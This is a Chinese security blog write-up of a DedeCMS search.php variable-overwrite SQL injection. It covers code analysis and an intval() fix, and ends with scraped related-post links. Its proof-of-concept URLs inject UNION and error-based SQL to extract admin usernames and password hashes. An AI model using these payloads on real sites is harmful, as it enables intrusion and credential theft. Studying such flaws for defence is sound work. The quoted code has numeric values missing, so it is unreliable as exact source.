catalog

  1. . 漏洞描述
  2. . 漏洞触发条件
  3. . 漏洞影响范围
  4. . 漏洞代码分析
  5. . 防御方法
  6. . 攻防思考

1. 漏洞描述

这个文件有两处注入漏洞

  1. . $typeid变量覆盖导致ChannelTypeid被强制改变: 低风险
  2. . $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入: 高风险

Relevant Link:

  1. http://graysb.diandian.com/post/2013-03-10/40049018798
  2. http://0day5.com/archives/341

2. 漏洞触发条件

0x1: POC1

  1. http://dede/plus/search.php?typeid=1&keyword=test
  2. /*
  3. 在请求的时候URL中要带上keyword,因为在search.php中有对keyword的检测
  4. if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
  5. {
  6. ShowMsg('关键字不能小于2个字节!','-1');
  7. exit();
  8. }
  9. */

0x2: POC2

  1. http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11
  2. //$typeArr的键本身是payload,keyword要和这个键的值相同

0x3: Safe Alert: Request Error step 2 !

  1. xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

0x4: Safe Alert: Request Error step 1 !

  1. xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

Relevant Link:

  1. http://zone.wooyun.org/content/2414

3. 漏洞影响范围
4. 漏洞代码分析

0x1: $typeid变量覆盖导致ChannelTypeid被强制改变

\plus\search.php

  1. ..
  2. $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : ;
  3. ..
  4. $sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);
  5. ..

\include\arc.searchview.class.php

  1. ...
  2. //php5构造函数
  3. function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)
  4. {
  5. global $cfg_search_max,$cfg_search_maxrc,$cfg_search_time;
  6. if(empty($upagesize))
  7. {
  8. $upagesize = ;
  9. }
  10. //直接赋值
  11. $this->TypeID = $typeid;
  12. ..
  13. }
  14. ..

0x2: $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入

\plus\search.php

  1. //查找栏目信息
  2. if(empty($typeid))
  3. {
  4. ...
  5. //引入栏目缓存并看关键字是否有相关栏目内容
  6. require_once($typenameCacheFile);
  7. //黑客通过本地变量覆盖漏洞改变$typeArr变量的值,进入if判断逻辑
  8. if(isset($typeArr) && is_array($typeArr))
  9. {
  10. //1. 遍历这个全局数组$typeArr,从中取出键值对
  11. foreach($typeArr as $id => $typename)
  12. {
  13. /*
  14. 2. 从我们输入的关键字参数$keyword中删除这个全局数组($typeArr)中出现过的值,也就是说,这个$typeArr本来是充当一个敏感关键字的数组的作用
  15. 3. 注意,str_replace()返回的是替换后的数组或者字符串
  16. 4. 如果检测到了我们规定的关键字($typeArr中保存的值)出现在了我们输出的$keyword参数中,就进行过滤并删除
  17. */
  18. $keywordn = str_replace($typename, ' ', $keyword);
  19. if($keyword != $keywordn)
  20. {
  21. $keyword = $keywordn;
  22. //5. 但是在过滤的过程中,却发生了另一个本地变量覆盖,$typeid这个变量会被"直接"带入到后续的SQL查询中
  23. $typeid = $id;
  24. break;
  25. }
  26. }
  27. }
  28. }

\include\arc.searchview.class.php

  1. function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)
  2. {
  3. ..
  4. $this->TypeID = $typeid;
  5. ...
  6. else
  7. {
  8. //将可能包含黑客注入畸形字符的$this->TypeID直接带入SQL查询
  9. $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
  10. $this->ChannelTypeid=$row['channeltype'];
  11. }
  12. ..
  13. }
  14. ..

这种注入是利用了数组的键进行了注入

Relevant Link:

  1. http://www.2cto.com/Article/201301/184105.html

5. 防御方法

\plus\search.php

  1. //查找栏目信息
  2. if(empty($typeid))
  3. {
  4. ..
  5. if($keyword != $keywordn)
  6. {
  7. $keyword = HtmlReplace($keywordn);
  8. //对键值$id进行规范化处理
  9. $typeid = intval($id);
  10. break;
  11. }
  12. ..
  13. }
  14. ..
  15. //对$typeid进行规范化处理
  16. $typeid = intval($typeid);
  17. ..

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

dedecms /plus/search.php SQL Injection && Local Variable Overriding的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...

  4. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

  5. dedecms /member/uploads_edit.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...

  6. dedecms /member/resetpassword.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 DEDEcms SQL注入漏洞导致可以修改任意用户密码 2. 漏洞触发条 ...

  7. dedecms /member/reg_new.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127 ...

  8. dedecms /member/pm.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

  9. dedecms /member/myfriend_group.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

随机推荐

  1. C#.NET 大型通用信息化系统集成快速开发平台 4.0 版本 - 组织机构的名称编号是否允许重复?

    通常情况下,一个公司内部的部门名称,编号是不可能重复的.但是是在多公司的情况下,很可能有部门名称重复的问题存在,这时需要允许部门名称重复. 例如一个大型IT公司,在2个地区都有研发部或者客户服务部,这 ...

  2. 通过js动态生成页面表格

    var redlineTemplateP = $(".redlineDataList"); for (var index in detailArraryLists.rows){ v ...

  3. Java7并发编程实战(一) 线程的中断

    控制线程中断的方法一般常规是定义一个布尔值,然后while(布尔值) 去执行,当想停止该线程时候,把布尔值设为false. 这里我们来看第二种,Interrupt 该例子模拟一个线程从1打印到10,然 ...

  4. 理解Java虚拟机体系结构

    1 概述 众所周知,Java支持平台无关性.安全性和网络移动性.而Java平台由Java虚拟机和Java核心类所构成,它为纯Java程序提供了统一的编程接口,而不管下层操作系统是什么.正是得益于Jav ...

  5. Scala入门之函数进阶

    /** * 函数式编程进阶: * 1,函数和变量一样作为Scala语言的一等公民,函数可以直接赋值给变量: * 2, 函数更长用的方式是匿名函数,定义的时候只需要说明输入参数的类型和函数体即可,不需要 ...

  6. 阅读DNA-2014年读书

  7. STM32 C语言,端口映射

    static XX 有记忆的定义 typedef XX 可以多次定义一个 #ifedf XXX XXX(程序段1) #else XXX(程序段2)

  8. WinForm程序执行JS代码的多种方法以及使用WebBrowser与JS交互

    方法一 使用微软官方组件Interop.MSScriptControl 1.msscript.ocx下载的地址   http://www.microsoft.com/downloads/details ...

  9. Pearson(皮尔逊)相关系数及MATLAB实现

    转自:http://blog.csdn.net/wsywl/article/details/5727327 由于使用的统计相关系数比较频繁,所以这里就利用几篇文章简单介绍一下这些系数. 相关系数:考察 ...

  10. JavaScript学习笔记-简单的倒计时跳转页面

    <!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...